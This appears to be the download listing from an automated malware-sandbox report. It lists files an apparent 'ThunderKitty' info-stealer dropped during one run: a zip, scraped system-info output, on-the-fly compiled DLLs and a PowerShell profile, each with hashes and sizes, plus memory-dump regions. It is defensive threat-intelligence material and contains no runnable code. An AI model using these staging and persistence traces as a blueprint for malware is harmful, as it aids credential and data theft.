Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
440cb38dbee06645cc8b74d51f6e5f71

SHA1
d7e61da91dc4502e9ae83281b88c1e48584edb7c

SHA256
8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

SHA512
3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a67c6a87e0111e28e44d361b69f6957b

SHA1
7ab59482f54678be40372ba277cb4db10ead3872

SHA256
1430ae5eb545c6c56168f2ebd53180fecc0479ece1897cb09cbfc4909a60b165

SHA512
318b185134f718c60a4e9c26e359847437930a4721132e909d13d4236a4cfe56ff8cf87dfbd1a61cd77d5e17c2452a9786042ecf98f3a44f82f1f2034a8b9f77

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
be9965796e35a7999ce50af07f73b631

SHA1
dde100f3f5a51fa399755fefd49da003d887742a

SHA256
6ea6a56f5d5ec6f60b5a748840eed28859f792db2e37f4c1c419e3a92fc619b3

SHA512
45369246c8f6e80fa7a3c34db98922702e5f10e67348c94bb27f5bb241ad72cecd72ff5843a2c6b47cec390a6b9c97ba3c4d4244c62b8119ce1b2ca0c3dc3e37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
94f52d6742259f2fe00b845147de68fe

SHA1
3239274a5736dade4b67e298c641137bcc467f25

SHA256
ecf6a96be0430d5646a5a2d5f138d956202e56d1edc96620a0e8d9e9dbb77f05

SHA512
de9595b70416cccda6e847aea8daaec089aeac47f66ea93aae864bb21a4316aad32edbe711cc627b629c4537f4fb7dff788ba997f3f90fa514b996578c1d4742

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESFE26.tmp

Filesize
1KB

MD5
ed7d3f1c3456a2fa4c2323f6251fb773

SHA1
2440673699f9d1f9969cd4011cd3dfcadccd8324

SHA256
e7862f6f5c994d517f795a2bae015de7af0e37e3f586341f39891a170163f5c2

SHA512
c48bdf4caaae14fdeacbb0e17486fcfb1e9c51fd55d47660c7cd778eea5c477b8f0281a8a199a13a45962c8af39b5dba2c56efde2800dc54afa149c31223c0da

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESFE27.tmp

Filesize
1KB

MD5
974d0bc3db0ec4cfc66c49352d16c438

SHA1
fb9a650e2a9cbcd7a0500100cd78c7fb1e81c768

SHA256
c3338c6b6b74e31d28a1718d520a048acdeb85da30df26ee17bb39052cc4ca8f

SHA512
1b6667ddca90a416e1d0f7334647d56f8e8df18142313f3fccccdade4cff1ed6bddfa4c6e7be10c193dcbed03cd0cee3854335ae3111c06be08c59655446bbce

Download Submit
C:\Users\Admin\AppData\Local\Temp\ThunderKitty.zip

Filesize
88KB

MD5
f2e83facdcb2f561c782ff8078168026

SHA1
c5be145afc039acb77be644634b30fcc2fa0b394

SHA256
4575568c1feb152f523536ee9dd5496e80a8e2f88d3f7790b59543a8a934949d

SHA512
6a512457a691be40dbd9b0468dc1fc08e5dd08facf44c7b8293bf3bf17bb8d6a22437955eba4147687730236e89b25ef71287394662ad4a2e0754c6264aeaffe

Download Submit
C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SystemInfo\ThunderKitty-ScrapedCMDS.txt

Filesize
24KB

MD5
793acfc82e0b6329c3d0aeacf3d73831

SHA1
ea2209d38c40211bbb7f14db333371002ca2f26f

SHA256
ec78d7d6a0ff68474461dc2426b018180d2a6cba6531cf051a3e386c7c92dc78

SHA512
992a162cde1eb3f202a3fb00e00b82fa9352750b90a254c0e0eeab5423d7de0cc859f7565bbcc76253b5a883fc48952a8ae6f12fb2908b26138033a5a3880968

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3sdbv3kc.ee3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\azkjjou5\azkjjou5.dll

Filesize
4KB

MD5
706d9a49f8df1d6d48a94283b6d9e2dc

SHA1
29d2a20886877586480c4369ebce0ee1ae0a2788

SHA256
7b3d76bd99eff31bb922582aea5419ac1164ce5c69b2a72d2d6271a6952e46a0

SHA512
0e7c0176688e1510d0cbcc4bf507eca80b1daaf0e7d59ebe1357e2466fa2ed2c6f1ed6f67c165b7a9fce892474a29bda5e01b72b4a39b4ff3224ef4254bc651b

Download Submit
C:\Users\Admin\AppData\Local\Temp\yzsv1vdl\yzsv1vdl.dll

Filesize
4KB

MD5
a3d92e54049efe86075997fb8aeb1f66

SHA1
a63a83720f802bce3b41c60ae077c9cf13880378

SHA256
0172b395aff0d55e97f7768bb37c8cc4af1eaf25a129af296a1db0a0ce37c22e

SHA512
fa922563ec86eb24fd76917a667d5bc86eed946a6454ddcb80b16a7c199432a7bb3c6aa18b422491cb243ceb9a2005e2a47a4ec7e8c87553d714fc1bcc96db10

Download Submit
C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

Filesize
2KB

MD5
9758656bbe8589c66bb241b052490c72

SHA1
b73da83fb3ae6b86c6365769a04de9845d5c602c

SHA256
e4bfe191530cc53138c4a265755539f8a115f7828faba79dfac91f3184b26351

SHA512
da9a8ecba8c2071e467f2d72fac524843fb0011c8486dd95e8b948b1c7f91bf02bcb80c20a01eddb6971b96db5ebde5f7c4c607e6b6d15e75d971ea104436e34

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\azkjjou5\CSC431B38FC276D4A8E9B73E06EB9BA4F87.TMP

Filesize
652B

MD5
14d7fa1afbb0aa50f04a0e602651ca02

SHA1
de35d5eea254c102d34aab269735aea6dad09276

SHA256
56b9ebdb830b357609ef331dc5f47f2c0cd78f898cbef02dd05a1bba46bb20e0

SHA512
dc9e8abb40dd893aac8962d15c57a27dfa4b500c9f5fa2fad8b9777fbf3dd5894acc3e30e7c9707b381ed460336baa457da710c00da9557c3a5118f0d2aa9ce9

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\azkjjou5\azkjjou5.cmdline

Filesize
369B

MD5
0cf6e3a873f50fdd4150804672802dac

SHA1
e9f4a2e98e8ccf0ff157386248e03f2646a4913e

SHA256
d797344b25145fed5c57503c7390697fc3334bb93e237aeaaef249ec521731e5

SHA512
9f8cbe434659696cd4fa64e30e2409bdf86a80db2f2a705a3885553707276f85a82071c7fe3e7eb61e425cd230e4d697637d27b6896dd824cfe0d3879c1ff77c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yzsv1vdl\CSCAA33D0FBB5324735ACA96526B3A6F438.TMP

Filesize
652B

MD5
1a279b00acc48c7b41d8000d5d8bdd04

SHA1
379c5a5a37d7168da254dd15bc83a5d024e0c30a

SHA256
cf50f64cf8708c8d8aade1389d73e67fe6f14715fb2e1d1e2305d58b4d3abde4

SHA512
1770d657da405660dcd6020566eb2fe5e9a775942b6db1d544a9ebc2ed7727823399bc7b69315419c6d5d4557099cfcd7b12563ab7e13f29eaaf7644a3fb4290

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yzsv1vdl\yzsv1vdl.0.cs

Filesize
1KB

MD5
8a1e7edb2117ec5dde9a07016905923b

SHA1
0155dbeeb16333e2eaa767b0209750efee56f47f

SHA256
c379ac84c970f2055851b084c44575a5e4b5a70dc25f0acdd49aad306489b007

SHA512
4ff0601803a006c661c962fe158cd5e9f40031d6b4fd7c5a05969a52d812e1fcb0aab20916fcad6c61c6d44cc7cfdf1e4f344f22ced937a0cd757ad841d3ab21

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yzsv1vdl\yzsv1vdl.cmdline

Filesize
369B

MD5
00fd699c1b6798f39da46d3ece8aacc4

SHA1
88c613e0f1768a050b1bf018e11cd3de057229a4

SHA256
83db30e515e994a627a46f35f23909b554051206dd4495e632f0f1ddd2d5794d

SHA512
3d692aae61bab30baaa201fe6645ec64e6e00db892118e70a082ce554cee23d8e1dc093da2823b2c4e20c3a5906e672c8a4ec05ab022d7fa3a0f37259f880dbe

Download Submit
memory/336-83-0x0000021ED6AF0000-0x0000021ED7296000-memory.dmp

Filesize
7.6MB

Download
memory/336-77-0x0000021EBBB90000-0x0000021EBBB98000-memory.dmp

Filesize
32KB

Download
memory/336-130-0x0000021ED6690000-0x0000021ED669A000-memory.dmp

Filesize
40KB

Download
memory/336-94-0x0000021ED66C0000-0x0000021ED66E4000-memory.dmp

Filesize
144KB

Download
memory/336-93-0x0000021ED66C0000-0x0000021ED66EA000-memory.dmp

Filesize
168KB

Download
memory/336-129-0x0000021ED66B0000-0x0000021ED66C2000-memory.dmp

Filesize
72KB

Download
memory/2928-48-0x00007FFC0AA20000-0x00007FFC0B4E1000-memory.dmp

Filesize
10.8MB

Download
memory/2928-42-0x00007FFC0AA20000-0x00007FFC0B4E1000-memory.dmp

Filesize
10.8MB

Download
memory/2928-0-0x00007FFC0AA23000-0x00007FFC0AA25000-memory.dmp

Filesize
8KB

Download
memory/2928-10-0x00000140CA500000-0x00000140CA522000-memory.dmp

Filesize
136KB

Download
memory/2928-20-0x00007FFC0AA20000-0x00007FFC0B4E1000-memory.dmp

Filesize
10.8MB

Download
memory/3956-71-0x0000018C95FD0000-0x0000018C95FD8000-memory.dmp

Filesize
32KB

Download
memory/3956-88-0x00007FFC0AA20000-0x00007FFC0B4E1000-memory.dmp

Filesize
10.8MB

Download
memory/3956-44-0x00007FFC0AA20000-0x00007FFC0B4E1000-memory.dmp

Filesize
10.8MB

Download
memory/3956-43-0x00007FFC0AA20000-0x00007FFC0B4E1000-memory.dmp

Filesize
10.8MB

Download
memory/3956-31-0x00007FFC0AA20000-0x00007FFC0B4E1000-memory.dmp

Filesize
10.8MB

Download